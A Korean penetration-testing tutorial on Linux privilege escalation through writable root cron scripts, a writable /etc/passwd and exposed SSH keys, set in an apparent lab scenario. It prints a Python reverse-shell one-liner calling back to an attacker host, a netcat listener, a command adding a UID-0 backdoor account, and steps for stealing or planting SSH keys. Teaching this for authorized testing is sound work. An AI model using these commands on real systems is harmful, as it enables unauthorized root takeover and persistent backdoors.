모의해킹

호스트기반모의해킹_37_리눅스 작업 스케줄링 및 파일 권한 악용

작성자 : Heehyeon Yoo|2025-12-13
# 모의해킹# Post-Exploitation# Linux# Privilege Escalation# Cron

1. 개요

시스템 자동화 작업(Cron)과 잘못된 파일 권한(Weak Permissions)은 빈번하게 발생하는 권한 상승 경로다.
공격자는 주기적으로 실행되는 스크립트를 변조하거나, 중요한 시스템 파일(/etc/passwd, SSH Key)을 덮어써서 시스템을 장악한다.

2. Cron 작업 악용(Scheduled Tasks)

Cron은 리눅스의 작업 스케줄러다. 만약 Root 권한으로 주기적으로 실행되는 스크립트가 있는데, 그 스크립트 파일에 일반 사용자의 쓰기 권한(Write Permission)이 있다면 공격이 성립된다.

2.1 Cron 작업 확인

  1. 사용자 Cron: crontab -l(현재 사용자의 스케줄만 확인 가능, 보통 권한 상승엔 무의미).
  2. 시스템 Cron(★중요):
    • cat /etc/crontab
    • ls -al /etc/cron.d/
    • ls -al /etc/cron.daily/ 등.
    • 여기서 정의된 작업들은 주로 Root 권한으로 실행된다.

2.2 공격 시나리오(실습)

  1. 탐색: /etc/cron.d/backup 파일을 확인하니, 1분마다 root 권한으로 /tmp/one-time-backup.py를 실행하고 있다.
    # /etc/cron.d/backup 내용
    * * * * * root /usr/bin/python3 /tmp/one-time-backup.py
    
  2. 권한 확인: 해당 스크립트의 권한을 확인한다.
    ls -l /tmp/one-time-backup.py
    # -rwxrwxrwx 1 root root ...(누구나 쓰기 가능!)
    
  3. 코드 주입(Exploitation): 스크립트 내용을 Reverse Shell 코드로 덮어쓴다.
    # one-time-backup.py 수정
    import socket,os,pty;s=socket.socket();s.connect(("10.8.0.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
    
  4. 대기 및 쉘 획득: 공격자 PC(Kali)에서 핸들러(nc -lvnp 4444)를 열고 1분을 기다린다. Cron이 실행되면 Root 쉘이 연결된다.

3. 취약한 파일 권한 악용(Weak File Permissions)

시스템 운영에 필수적인 파일들이 잘못된 권한(777 등)으로 설정된 경우를 타겟팅한다.

3.1 /etc/passwd 변조

  • 개요: 사용자 계정 정보가 담긴 파일.(비밀번호 해시는 /etc/shadow에 있지만, passwd 파일은 사용자 매핑을 담당).
  • 취약점: 만약 /etc/passwd 파일이 쓰기 가능(Writable)하다면?
  • 공격: 공격자는 [새로운 Root 계정]을 직접 추가할 수 있다.
    # 비밀번호 'password'의 해시 생성
    openssl passwd "password"
    # 결과: $1$k...(생략)
    
    # /etc/passwd 파일 끝에 'hacker' 계정(UID 0) 추가
    echo "hacker:$1$k...:0:0:root:/root:/bin/bash" >> /etc/passwd
    
    # 로그인
    su hacker
    #(Root 권한 획득)
    

3.2 SSH 키 탈취(SSH Key Hijacking)

  • 탐색: 다른 사용자(또는 Root)의 홈 디렉토리 내 .ssh 폴더 권한 확인.
    ls -al /root/.ssh/
    
  • 만약 id_rsa(Private Key) 파일이 읽기 가능하다면, 이를 복사하여 공격자 PC에서 ssh -i id_rsa root@[IP]로 접속한다.
  • 만약 authorized_keys 파일이 쓰기 가능하다면, 공격자의 공개키(Public Key)를 추가하여 접속 허용을 뚫는다.

4. 실무 팁

  • pspy64: 권한이 낮아 /etc/cron.d를 읽을 수 없을 때, 실행 중인 프로세스를 실시간으로 모니터링해주는 도구인 pspy를 사용하면 숨겨진 Cron 작업(주기적으로 생성되었다 사라지는 프로세스)을 탐지할 수 있다.